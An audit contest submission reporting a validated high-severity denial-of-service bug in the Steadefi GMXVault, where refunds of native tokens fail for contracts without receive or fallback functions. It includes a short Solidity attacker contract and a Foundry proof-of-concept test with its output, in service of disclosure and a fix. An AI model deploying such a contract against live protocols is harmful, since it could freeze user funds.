Steadefi

Steadefi
DeFiHardhatFoundryOracle
35,000 USDC
View results
Submission Details
Severity: high
Valid

GMXVault can grind to a halt trying to send native tokens to a malicious contract with no receive or fallback functions

Summary

The GMXdeposit.sol:processDepositCancellation function is vulnerable to a stuck state if interacting with a contract without receive or fallback function or where these functions revert. This can effectively grind down the whole protocol.

Vulnerability Details

A malicious/naive user can deploy a contract without a fallback function. This will cause the send-native-tokens code to always fail trapping the whole protocol into an unused state.
POS- deploy this contract

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { GMXVault } from "./GMXVault.sol";
contract Hack{
function sendDeposit(address _GMXvault) public{
GMXVault(_GMXvault).deposit();
}
}

Add this test under test/gmx/local/GMXDepositNeutralVaultTest.t.sol:

function test_failedDepositNeutral() external {
hax = new Hack();
vm.startPrank(address(hax));
IERC20(USDC).approve(address(vault), type(uint256).max);
IERC20(WETH).approve(address(vault), type(uint256).max);
IERC20(ARB).approve(address(vault), type(uint256).max);
IERC20(USDC).approve(address(vaultNeutral), type(uint256).max);
IERC20(WETH).approve(address(vaultNeutral), type(uint256).max);
IERC20(ARB).approve(address(vaultNeutral), type(uint256).max);
deal(address(hax), 10 ether);
deal(address(WETH), address(hax), 10 ether);
deal(address(USDC), address(hax), 10000e6);
deal(address(ARB), address(hax), 1000e18);
vm.startPrank(owner);
vault.updateKeeper(address(hax), true);
vm.startPrank(address(hax));
_createNativeDeposit(address(WETH), 1e18, 0, SLIPPAGE, EXECUTION_FEE);
mockExchangeRouter.cancelDeposit(
address(WETH),
address(USDC),
address(vault),
address(callback)
);
}

Run the test as:

forge test --match-path test/gmx/local/GMXDepositNeutralVaultTest.t.sol --match-contract GMXDepositNeutralvaultNeutralTest --match-test "test_failedDepositNeutral"

Test results:

Running 1 test for test/gmx/local/GMXDepositNeutralVaultTest.t.sol:GMXDepositNeutralvaultNeutralTest
[FAIL. Reason: Transfer failed.] test_failedDepositNeutral() (gas: 2123300)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 38.13ms

Impact

Protocol can grind to a halt and become unusable.

Tools Used

Manual review

Recommendations

Send native token via the native tokens contract eg WETH.

Updates

Lead Judging Commences

hans Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS by rejecting native token

Impact: High Likelihood: High An attacker can repeatedly force the protocol to get stuck in a not-open status. This can happen on both deposit, withdraw callback for both successful execution and failures. Will group all similar issues.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.